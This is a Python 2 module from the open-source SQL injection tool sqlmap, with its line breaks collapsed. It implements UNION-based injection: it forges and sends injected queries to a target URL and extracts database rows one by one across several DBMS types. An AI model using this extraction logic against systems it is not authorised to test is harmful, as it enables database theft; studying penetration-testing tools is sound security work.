#!/usr/bin/env python """ $Id$ Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/) See the file 'doc/COPYING' for copying permission """ import re import time from lib.core.agent import agent from lib.core.common import calculateDeltaSeconds from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import initTechnique from lib.core.common import parseUnionPage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.utils.resume import resume reqCount = 0 def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False): """ This function tests for an inband SQL injection on the target url then call its subsidiary function to effectively perform an inband SQL injection on the affected url """ initTechnique(PAYLOAD.TECHNIQUE.UNION) count = None origExpr = expression start = time.time() startLimit = 0 stopLimit = None test = True value = "" global reqCount if resetCounter: reqCount = 0 # Prepare expression with delimiters if unescape: expression = agent.concatQuery(expression, unpack) expression = unescaper.unescape(expression) if kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == 2 and not direct: _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one # entry per time # NOTE: I assume that only queries that get data from a table can # return multiple entries if " FROM " in expression and "EXISTS(" not in expression: limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I) if limitRegExp: if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStop = queries[kb.dbms].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStop = queries[kb.dbms].limitgroupstop.query if limitGroupStart.isdigit(): startLimit = int(limitRegExp.group(int(limitGroupStart))) stopLimit = limitRegExp.group(int(limitGroupStop)) limitCond = int(stopLimit) > 1 elif kb.dbms == DBMS.ORACLE: limitCond = False else: limitCond = True # I assume that only queries NOT containing a "LIMIT #, 1" # (or similar depending on the back-end DBMS) can return # multiple entries if limitCond: if limitRegExp: stopLimit = int(stopLimit) # From now on we need only the expression until the " LIMIT " # (or similar, depending on the back-end DBMS) word if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): stopLimit += startLimit untilLimitChar = expression.index(queries[kb.dbms].limitstring.query) expression = expression[:untilLimitChar] elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): stopLimit += startLimit elif dump: if conf.limitStart: startLimit = conf.limitStart if conf.limitStop: stopLimit = conf.limitStop if not stopLimit or stopLimit <= 1: if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"): test = False else: test = True if test: # Count the number of SQL query entries output countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0] countedExpression = origExpr.replace(expressionFields, countFirstField, 1) if re.search(" ORDER BY ", expression, re.I): untilOrderChar = countedExpression.index(" ORDER BY ") countedExpression = countedExpression[:untilOrderChar] count = resume(countedExpression, None) if not stopLimit: if not count or not count.isdigit(): output = unionUse(countedExpression, direct=True) if output: count = parseUnionPage(output, countedExpression) if count and count.isdigit() and int(count) > 0: stopLimit = int(count) infoMsg = "the SQL query used returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the used SQL query. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif ( not count or int(count) == 0 ): warnMsg = "the SQL query used does not " warnMsg += "return any output" logger.warn(warnMsg) return elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): warnMsg = "the SQL query used does not " warnMsg += "return any output" logger.warn(warnMsg) return try: for num in xrange(startLimit, stopLimit): if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif kb.dbms == DBMS.ORACLE: field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = resume(limitedExpr, None) if not output: output = unionUse(limitedExpr, direct=True, unescape=False) if output: value += output parseUnionPage(output, limitedExpr) if conf.verbose in (1, 2): length = stopLimit - startLimit count = num - startLimit + 1 status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%') dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True) dataToStdout("\n") except KeyboardInterrupt: print warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) finally: clearConsoleLine(True) return value value = unionUse(expression, direct=True, unescape=False) else: # Forge the inband SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5]) payload = agent.payload(newValue=query) # Perform the request resultPage, _ = Request.queryPage(payload, content=True) reqCount += 1 if kb.misc.start not in resultPage or kb.misc.stop not in resultPage: return # Parse the returned page to get the exact inband # sql injection output startPosition = resultPage.index(kb.misc.start) endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop) value = getUnicode(resultPage[startPosition:endPosition]) duration = calculateDeltaSeconds(start) debugMsg = "performed %d queries in %d seconds" % (reqCount, duration) logger.debug(debugMsg) return value